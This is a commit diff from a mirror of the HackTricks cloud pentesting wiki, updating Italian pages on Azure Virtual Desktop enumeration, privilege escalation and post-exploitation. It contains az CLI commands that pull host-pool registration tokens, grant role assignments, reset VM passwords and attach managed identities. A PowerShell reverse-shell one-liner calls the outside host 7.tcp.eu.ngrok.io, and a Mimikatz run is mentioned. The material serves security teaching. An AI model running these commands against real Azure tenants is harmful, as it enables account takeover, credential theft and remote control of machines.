mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-30 14:40:37 -08:00
Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az
This commit is contained in:
@@ -454,7 +454,7 @@
|
||||
- [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md)
|
||||
- [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md)
|
||||
- [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md)
|
||||
- [Az - CosmosDB](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md)
|
||||
- [Az - CosmosDB Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md)
|
||||
- [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md)
|
||||
- [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md)
|
||||
- [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md)
|
||||
@@ -465,6 +465,7 @@
|
||||
- [Az - Service Bus Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md)
|
||||
- [Az - Table Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md)
|
||||
- [Az - SQL Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md)
|
||||
- [Az - Virtual Desktop Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md)
|
||||
- [Az - VMs & Network Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md)
|
||||
- [Az - Privilege Escalation](pentesting-cloud/azure-security/az-privilege-escalation/README.md)
|
||||
- [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)
|
||||
|
||||
@@ -0,0 +1,21 @@
|
||||
# Az - VMs & Network Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Desktop Virtuale
|
||||
|
||||
Per ulteriori informazioni su Desktop Virtuale, controlla la seguente pagina:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-virtual-desktop.md
|
||||
{{#endref}}
|
||||
|
||||
### Tecniche comuni
|
||||
|
||||
- Sovrascrivere un **pacchetto MSIX dall'account di archiviazione** per ottenere RCE in qualsiasi VM che utilizza quell'app.
|
||||
- In un remoteapp è possibile cambiare il **percorso del binario da eseguire**.
|
||||
- **Evasione dalle app** a una shell per ottenere RCE.
|
||||
- Qualsiasi attacco di post exploitation e persistenza da **Azure VMs.**
|
||||
- È possibile **configurare uno script da eseguire** nel pool per applicare configurazioni personalizzate.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -4,14 +4,24 @@
|
||||
|
||||
## Azure Virtual Desktop Privesc
|
||||
|
||||
Per ulteriori informazioni su Azure Virtual Desktop controlla:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-virtual-desktop.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
### `Microsoft.DesktopVirtualization/hostPools/retrieveRegistrationToken/action`
|
||||
Puoi recuperare il token di registrazione utilizzato per registrare macchine virtuali all'interno di un pool di host.
|
||||
Puoi recuperare il token di registrazione utilizzato per registrare le macchine virtuali all'interno di un pool di host.
|
||||
```bash
|
||||
az desktopvirtualization hostpool retrieve-registration-token -n testhostpool -g Resource_Group_1
|
||||
```
|
||||
### ("Microsoft.Authorization/roleAssignments/read", "Microsoft.Authorization/roleAssignments/write") && ("Microsoft.Compute/virtualMachines/read","Microsoft.Compute/virtualMachines/write","Microsoft.Compute/virtualMachines/extensions/read","Microsoft.Compute/virtualMachines/extensions/write")
|
||||
### Microsoft.Authorization/roleAssignments/read, Microsoft.Authorization/roleAssignments/write
|
||||
|
||||
Con queste autorizzazioni puoi aggiungere un'assegnazione utente al gruppo Applicazione, che è necessaria per accedere alla macchina virtuale del desktop virtuale.
|
||||
> [!WARNING]
|
||||
> Un attaccante con questi permessi potrebbe fare cose molto più pericolose di questa.
|
||||
|
||||
Con questi permessi puoi aggiungere un'assegnazione utente al gruppo Applicazione, che è necessaria per accedere alla macchina virtuale del desktop virtuale:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP_NAME>/providers/Microsoft.DesktopVirtualization/applicationGroups/<APP_GROUP_NAME>/providers/Microsoft.Authorization/roleAssignments/<NEW_ROLE_ASSIGNMENT_GUID>?api-version=2022-04-01" \
|
||||
@@ -22,12 +32,7 @@ az rest --method PUT \
|
||||
}
|
||||
}'
|
||||
```
|
||||
Inoltre, puoi cambiare l'utente e la password della macchina virtuale per accedervi.
|
||||
```bash
|
||||
az vm user update \
|
||||
--resource-group <RESOURCE_GROUP_NAME> \
|
||||
--name <VM_NAME> \
|
||||
--username <USERNAME> \
|
||||
--password <NEW_PASSWORD>
|
||||
```
|
||||
Nota che affinché un utente possa accedere a un Desktop o a un'app, ha anche bisogno del ruolo `Virtual Machine User Login` o `Virtual Machine Administrator Login` sulla VM.
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -49,7 +49,7 @@ az vm extension set \
|
||||
|
||||
{{#tab name="Windows" }}
|
||||
|
||||
- Eseguire una reverse shell
|
||||
- Esegui una reverse shell
|
||||
```bash
|
||||
# Get encoded reverse shell
|
||||
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
|
||||
@@ -93,7 +93,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
|
||||
|
||||
<summary>Estensione VMAccess</summary>
|
||||
|
||||
Questa estensione consente di modificare la password (o crearne una se non esiste) degli utenti all'interno delle VM Windows.
|
||||
Questa estensione consente di modificare la password (o crearla se non esiste) degli utenti all'interno delle VM Windows.
|
||||
```bash
|
||||
# Run VMAccess extension to reset the password
|
||||
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
||||
@@ -105,7 +105,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
|
||||
|
||||
<summary>DesiredConfigurationState (DSC)</summary>
|
||||
|
||||
Questa è un **estensione VM** che appartiene a Microsoft e utilizza PowerShell DSC per gestire la configurazione delle VM Windows di Azure. Pertanto, può essere utilizzata per **eseguire comandi arbitrari** nelle VM Windows tramite questa estensione:
|
||||
Questa è un'**estensione VM** che appartiene a Microsoft e utilizza PowerShell DSC per gestire la configurazione delle VM Windows di Azure. Pertanto, può essere utilizzata per **eseguire comandi arbitrari** nelle VM Windows tramite questa estensione:
|
||||
```bash
|
||||
# Content of revShell.ps1
|
||||
Configuration RevShellConfig {
|
||||
@@ -298,15 +298,15 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
|
||||
|
||||
### `Microsoft.Compute/virtualMachines/login/action`
|
||||
|
||||
Questo permesso consente a un utente di **accedere come utente a una VM tramite SSH o RDP** (purché l'autenticazione Entra ID sia abilitata nella VM).
|
||||
Questo permesso consente a un utente di **accedere come utente a una VM tramite SSH o RDP** (finché l'autenticazione Entra ID è abilitata nella VM).
|
||||
|
||||
Accedi tramite **SSH** con **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** e tramite **RDP** con le tue **credenziali Azure normali**.
|
||||
Accedi tramite **SSH** con **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** e tramite **RDP** con le tue **credenziali Azure regolari**.
|
||||
|
||||
### `Microsoft.Compute/virtualMachines/loginAsAdmin/action`
|
||||
|
||||
Questo permesso consente a un utente di **accedere come utente a una VM tramite SSH o RDP** (purché l'autenticazione Entra ID sia abilitata nella VM).
|
||||
Questo permesso consente a un utente di **accedere come utente a una VM tramite SSH o RDP** (finché l'autenticazione Entra ID è abilitata nella VM).
|
||||
|
||||
Accedi tramite **SSH** con **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** e tramite **RDP** con le tue **credenziali Azure normali**.
|
||||
Accedi tramite **SSH** con **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** e tramite **RDP** con le tue **credenziali Azure regolari**.
|
||||
|
||||
## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
@@ -327,7 +327,7 @@ az vm create \
|
||||
```
|
||||
### `Microsoft.Compute/virtualMachines/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Queste autorizzazioni sono sufficienti per **assegnare nuove identità gestite a una VM**. Nota che una VM può avere diverse identità gestite. Può avere l'**identità assegnata dal sistema** e **molte identità gestite dall'utente**.\
|
||||
Queste autorizzazioni sono sufficienti per **assegnare nuove identità gestite a una VM**. Nota che una VM può avere diverse identità gestite. Può avere quella **assegnata dal sistema** e **molte identità gestite dall'utente**.\
|
||||
Poi, dal servizio di metadata è possibile generare token per ciascuna di esse.
|
||||
```bash
|
||||
# Get currently assigned managed identities to the VM
|
||||
@@ -343,12 +343,22 @@ az vm identity assign \
|
||||
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \
|
||||
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2
|
||||
```
|
||||
Poi l'attaccante deve aver **compromesso in qualche modo la VM** per rubare i token dalle identità gestite assegnate. Controlla **ulteriori informazioni in**:
|
||||
L'attaccante deve aver **compromesso in qualche modo la VM** per rubare i token dalle identità gestite assegnate. Controlla **ulteriori informazioni in**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm
|
||||
{{#endref}}
|
||||
|
||||
### "Microsoft.Compute/virtualMachines/read","Microsoft.Compute/virtualMachines/write","Microsoft.Compute/virtualMachines/extensions/read","Microsoft.Compute/virtualMachines/extensions/write"
|
||||
|
||||
Queste autorizzazioni consentono di cambiare l'utente e la password della macchina virtuale per accedervi:
|
||||
```bash
|
||||
az vm user update \
|
||||
--resource-group <RESOURCE_GROUP_NAME> \
|
||||
--name <VM_NAME> \
|
||||
--username <USERNAME> \
|
||||
--password <NEW_PASSWORD>
|
||||
```
|
||||
### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action
|
||||
|
||||
Secondo la [**documentazione**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), questo permesso ti consente di gestire il sistema operativo della tua risorsa tramite Windows Admin Center come amministratore. Quindi sembra che questo dia accesso al WAC per controllare le VM...
|
||||
|
||||
@@ -4,61 +4,105 @@
|
||||
|
||||
## Azure Virtual Desktop
|
||||
|
||||
Virtual Desktop è un **servizio di virtualizzazione desktop e app**. Consente di fornire desktop Windows completi, inclusi Windows 11, Windows 10 o Windows Server agli utenti da remoto, sia come desktop individuali che tramite singole applicazioni. Supporta configurazioni a sessione singola per uso personale e ambienti a sessione multipla. Gli utenti possono connettersi da praticamente qualsiasi dispositivo utilizzando app native o un browser web.
|
||||
Virtual Desktop è un **servizio di virtualizzazione desktop e app**. Consente di fornire desktop Windows completi, inclusi Windows 11, Windows 10 o Windows Server, agli utenti in remoto, sia come desktop individuali che tramite singole applicazioni. Supporta configurazioni a sessione singola per uso personale e ambienti a sessione multipla. Gli utenti possono connettersi da praticamente qualsiasi dispositivo utilizzando app native o un browser web.
|
||||
|
||||
### Host Pools
|
||||
|
||||
Gli host pool in Azure Virtual Desktop sono collezioni di macchine virtuali Azure configurate come host di sessione, fornendo desktop virtuali e app agli utenti. Ci sono due tipi principali:
|
||||
- **Personal host pools**, dove ogni macchina virtuale è dedicata a un singolo utente, con i propri ambienti
|
||||
- **Pooled host pools**, dove più utenti condividono risorse su qualsiasi host di sessione disponibile. Ha un limite di sessione configurabile e una configurazione dell'host di sessione consente ad Azure Virtual Desktop di automatizzare la creazione di host di sessione basata su una configurazione
|
||||
|
||||
Ogni host pool ha un **token di registrazione** utilizzato per registrare macchine virtuali all'interno di un host pool.
|
||||
- **Host pool personali**, dove ogni macchina virtuale è dedicata a un singolo utente.
|
||||
- Può essere configurato in modo che l'**amministratore possa assegnare** utenti specifici alle VM o che questo avvenga **automaticamente**.
|
||||
- Questo è ideale per persone con carichi di lavoro intensivi poiché ogni persona avrà la propria VM. Inoltre, potranno memorizzare file e configurare impostazioni nel disco del sistema operativo e queste persisteranno poiché **ogni utente ha la propria VM (host)**.
|
||||
|
||||
### Application groups & Workspace
|
||||
I gruppi di applicazioni **controllano l'accesso degli utenti** a un desktop completo o a set specifici di applicazioni disponibili sugli host di sessione all'interno di un host pool. Ci sono due tipi:
|
||||
- **Desktop application groups**, che danno agli utenti accesso a un desktop Windows completo (disponibile sia con personal che con pooled host pools)
|
||||
- **RemoteApp groups**, che consentono agli utenti di accedere a singole applicazioni pubblicate (disponibili solo con pooled host pools).
|
||||
Un host pool può avere un gruppo di applicazioni Desktop ma più gruppi RemoteApp. Gli utenti possono essere assegnati a più gruppi di applicazioni attraverso diversi host pool. Se un utente è assegnato sia a gruppi desktop che a gruppi RemoteApp all'interno dello stesso host pool, vedrà solo le risorse dal tipo di gruppo preferito impostato dagli amministratori.
|
||||
- **Host pool condivisi**, dove più **utenti condividono risorse** sugli host di sessione disponibili.
|
||||
- È possibile configurare un **numero massimo di utenti** (sessioni) per host.
|
||||
- È possibile **aggiungere VM manualmente** utilizzando chiavi di registrazione, o **consentire ad Azure di scalare automaticamente** il numero di host senza avere l'opzione di aggiungere VM utilizzando la chiave di registrazione. Non è possibile scalare automaticamente le VM per pool personali.
|
||||
- Per persistere i file nelle sessioni degli utenti, è necessario utilizzare **FSlogix**.
|
||||
|
||||
Un **workspace** è una **collezione di gruppi di applicazioni**, che consente agli utenti di accedere ai desktop e ai gruppi di applicazioni a loro assegnati. Ogni gruppo di applicazioni deve essere collegato a un workspace e può appartenere a un solo workspace alla volta.
|
||||
### Session Hosts
|
||||
|
||||
Queste sono le **VM a cui gli utenti si connetteranno.**
|
||||
|
||||
- Se è stata selezionata la scalabilità automatica, verrà creato un modello con le **caratteristiche degli host** che devono essere creati per il pool.
|
||||
- In caso contrario, durante la creazione dell'Host pool è possibile indicare le **caratteristiche e il numero di VM** che si desidera creare e Azure le creerà e le aggiungerà per te.
|
||||
|
||||
Le principali caratteristiche per **configurare le VM** sono:
|
||||
|
||||
- Il **prefisso** del nome delle nuove VM
|
||||
- Il **tipo di VM**: Questo può essere “macchina virtuale Azure” (per utilizzare le VM Azure) o “macchina virtuale locale Azure” che consente di distribuire gli host in loco o al confine.
|
||||
- La posizione, le zone, le opzioni di sicurezza della VM, l'immagine, la CPU, la memoria, la dimensione del disco…
|
||||
- Il **VNet, il gruppo di sicurezza e le porte** da esporre a Internet
|
||||
- È possibile impostare credenziali per **unirsi automaticamente a un dominio AD**, o utilizzare la directory Entra ID
|
||||
- Se Entra ID, è possibile **iscrivere automaticamente la nuova VM in Intune**
|
||||
- È necessario impostare un **nome utente e una password dell'amministratore** a meno che Azure non scaldi gli host, in tal caso deve essere **configurato un segreto con il nome utente e un altro con la password**
|
||||
- È possibile **configurare uno script da eseguire** per la configurazione personalizzata
|
||||
|
||||
### Application Groups
|
||||
|
||||
**I gruppi di applicazioni** controllano l'accesso degli utenti a un desktop completo o a set specifici di applicazioni disponibili sugli host di sessione all'interno di un host pool.
|
||||
|
||||
Ci sono due tipi di gruppi di applicazioni:
|
||||
|
||||
- **Gruppi di applicazioni desktop**, che danno agli utenti accesso a desktop Windows completi e app collegate.
|
||||
- **Gruppi RemoteApp**, che consentono agli utenti di accedere a singole applicazioni.
|
||||
- Non è possibile assegnare questo tipo di gruppo di applicazioni a un Pool Personale.
|
||||
- È necessario indicare il percorso del binario da eseguire all'interno della VM.
|
||||
|
||||
Un Pool Condiviso può avere **un gruppo di applicazioni Desktop** e **più gruppi RemoteApp** e gli utenti possono essere assegnati a più gruppi di applicazioni in diversi host pool.
|
||||
|
||||
Quando a un utente viene **concesso accesso**, gli viene assegnato il ruolo **`Desktop Virtualization User`** sul gruppo di applicazioni.
|
||||
|
||||
### Workspaces & Connections
|
||||
|
||||
Un **workspace** è una collezione di gruppi di applicazioni.
|
||||
|
||||
Per **connettersi** al Desktop o alle app assegnate è possibile farlo da [https://windows365.microsoft.com/ent#/devices](https://windows365.microsoft.com/ent#/devices)
|
||||
E ci sono altri metodi descritti su [https://learn.microsoft.com/en-us/azure/virtual-desktop/users/connect-remote-desktop-client](https://learn.microsoft.com/en-us/azure/virtual-desktop/users/connect-remote-desktop-client)
|
||||
|
||||
Quando un utente accede al proprio account, gli verrà **presentato separato per workspace tutto ciò a cui ha accesso**. Pertanto, è necessario aggiungere **ogni gruppo di applicazioni a un workspace** affinché gli accessi definiti siano visibili.
|
||||
|
||||
Affinché un utente possa accedere a un Desktop o a un'app, ha anche bisogno del ruolo **`Virtual Machine User Login`** o **`Virtual Machine Administrator Login`** sulla VM.
|
||||
|
||||
### Managed Identities
|
||||
|
||||
Non è possibile assegnare identità gestite agli host pool, quindi le VM create all'interno di un pool le avranno.
|
||||
Tuttavia, è possibile **assegnare identità gestite di sistema e utente alle VM** e poi accedere ai token dai metadati. In effetti, dopo aver lanciato gli host pool dal web, le 2 VM generate hanno l'identità gestita di sistema abilitata (anche se non ha alcuna autorizzazione).
|
||||
|
||||
### Key Features
|
||||
- **Creazione flessibile di VM**: Crea macchine virtuali Azure direttamente o aggiungi macchine virtuali locali Azure in un secondo momento.
|
||||
- **Funzionalità di sicurezza**: Abilita Trusted Launch (secure boot, vTPM, monitoraggio dell'integrità) per una sicurezza avanzata delle VM (è necessaria una rete virtuale). Può integrare Azure Firewall e controllare il traffico tramite Network Security Groups.
|
||||
- **Domain Join**: Supporto per l'unione a domini Active Directory con configurazioni personalizzabili.
|
||||
- **Diagnostica e monitoraggio**: Abilita le impostazioni diagnostiche per trasmettere log e metriche a Log Analytics, account di archiviazione o event hubs per il monitoraggio.
|
||||
- **Modelli di immagine personalizzati**: Crea e gestisci modelli da utilizzare quando aggiungi host di sessione. Aggiungi facilmente personalizzazioni comuni o i tuoi script personalizzati.
|
||||
- **Registrazione dello workspace**: Registra facilmente gruppi di applicazioni desktop predefiniti a nuovi o esistenti workspace per semplificare la gestione dell'accesso degli utenti.
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
az extension add --name desktopvirtualization
|
||||
|
||||
# List HostPool of a Resource group
|
||||
az desktopvirtualization hostpool list --resource-group <Resource_Group>
|
||||
# List HostPools
|
||||
az desktopvirtualization hostpool list
|
||||
|
||||
# List Workspaces
|
||||
az desktopvirtualization workspace list
|
||||
|
||||
# List Application Groups
|
||||
az desktopvirtualization applicationgroup list --resource-group <Resource_Group>
|
||||
# List Application Groups By Subscription
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.DesktopVirtualization/applicationGroups?api-version=2024-04-03"
|
||||
az desktopvirtualization applicationgroup list
|
||||
|
||||
# List Applications in a Application Group
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/applicationGroups/{applicationGroupName}/applications?api-version=2024-04-03"
|
||||
|
||||
# Check if Desktops are enabled
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/applicationGroups/{applicationGroupName}/desktops?api-version=2024-04-03"
|
||||
|
||||
# List Assigned Users to the Application Group
|
||||
az rest \
|
||||
--method GET \
|
||||
--url "https://management.azure.com/subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP_NAME>/providers/Microsoft.DesktopVirtualization/applicationGroups/<APP_GROUP_NAME>/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01" \
|
||||
| jq '.value[] | select((.properties.scope | ascii_downcase) == "/subscriptions/<subscription_id_in_lowercase>/resourcegroups/<resource_group_name_in_lowercase>/providers/microsoft.desktopvirtualization/applicationgroups/<app_group_name_in_lowercase>")'
|
||||
|
||||
# List hosts
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/sessionHosts?api-version=2024-04-03"
|
||||
|
||||
# List Workspace in a resource group
|
||||
az desktopvirtualization workspace list --resource-group <Resource_Group>
|
||||
# List Workspace in a subscription
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.DesktopVirtualization/workspaces?api-version=2024-04-03"
|
||||
|
||||
# List App Attach Package By Resource Group
|
||||
# List App Attach packages
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/appAttachPackages?api-version=2024-04-03"
|
||||
# List App Attach Package By Subscription
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.DesktopVirtualization/appAttachPackages?api-version=2024-04-03"
|
||||
|
||||
# List user sessions
|
||||
az rest --method GET --url "https://management.azure.com/ssubscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostpools/{hostPoolName}/sessionhosts/{hostPoolHostName}/userSessions?api-version=2024-04-03"
|
||||
|
||||
|
||||
# List Desktops
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/applicationGroups/{applicationGroupName}/desktops?api-version=2024-04-03"
|
||||
@@ -68,34 +112,27 @@ az rest --method GET --url "https://management.azure.com/subscriptions/{subscrip
|
||||
|
||||
# List private endpoint connections associated with hostpool.
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/privateEndpointConnections?api-version=2024-04-03"
|
||||
|
||||
# List private endpoint connections associated By Workspace.
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/workspaces/{workspaceName}/privateEndpointConnections?api-version=2024-04-03"
|
||||
|
||||
# List the private link resources available for a hostpool.
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/privateLinkResources?api-version=2024-04-03"
|
||||
|
||||
# List the private link resources available for this workspace.
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/workspaces/{workspaceName}/privateLinkResources?api-version=2024-04-03"
|
||||
|
||||
# List sessionHosts/virtual machines.
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/sessionHosts?api-version=2024-04-03"
|
||||
|
||||
# List start menu items in the given application group.
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/applicationGroups/{applicationGroupName}/startMenuItems?api-version=2024-04-03"
|
||||
|
||||
# List userSessions.
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/sessionHosts/{sessionHostName}/userSessions?api-version=2024-04-03"
|
||||
# List userSessions By Host Pool
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/userSessions?api-version=2024-04-03"
|
||||
|
||||
```
|
||||
### Connessione
|
||||
|
||||
Per connettersi al desktop virtuale tramite web, è possibile accedere tramite https://client.wvd.microsoft.com/arm/webclient/ (il più comune), o https://client.wvd.microsoft.com/webclient/index.html (classico) Ci sono altri metodi che sono descritti qui [https://learn.microsoft.com/en-us/azure/virtual-desktop/users/connect-remote-desktop-client?tabs=windows](https://learn.microsoft.com/en-us/azure/virtual-desktop/users/connect-remote-desktop-client?tabs=windows)
|
||||
|
||||
## Privesc
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-virtual-desktop-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Post Exploitation & Persistence
|
||||
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-virtual-desktop-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user